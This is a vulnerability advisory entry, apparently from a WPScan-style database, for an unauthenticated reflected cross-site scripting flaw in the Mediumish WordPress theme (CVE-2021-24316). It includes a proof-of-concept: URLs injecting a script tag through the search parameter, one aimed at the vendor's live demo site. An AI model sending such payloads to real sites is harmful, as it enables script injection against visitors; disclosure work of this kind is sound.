Lucene search
M0zeWPVDB-ID:57E27DE4-58F5-46AA-9B59-809705733B2EHistoryMay 16, 2021 - 12:00 a.m.
Mediumish <= 1.0.47 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2021-05-1600:00:00
m0ze
wpscan.com
8
0.003 Low
EPSS
Percentile
70.6%
The search feature of the theme does not properly sanitise it’s ‘s’ GET parameter before output it back the page, leading to the Cross-SIte Scripting issue. The vendor has been unresponsive to any form of contact
PoC
https://example.com/?post_type=post&s;="><script>alert(/XSS/)</script> https://www.themepush.com/demo-mediumish/?post_type=post&s;="><script>alert(/XSS/)</script>
| CPE | Name | Operator | Version |
|---|---|---|---|
| mediumishh | eq | * |
Related
prion
prion
Cross site scripting
2021-06-01 14:15:00
nvd
nvd
CVE-2021-24316
2021-06-01 14:15:08
patchstack
patchstack
cve
cve
CVE-2021-24316
2021-06-01 14:15:08
nuclei
nuclei
WordPress Mediumish Theme <=1.0.47 - Cross-Site Scripting
2021-06-04 09:28:45
cvelist
cvelist
wpexploit
wpexploit
Mediumish <= 1.0.47 - Unauthenticated Reflected Cross-Site Scripting (XSS)
2021-05-16 00:00:00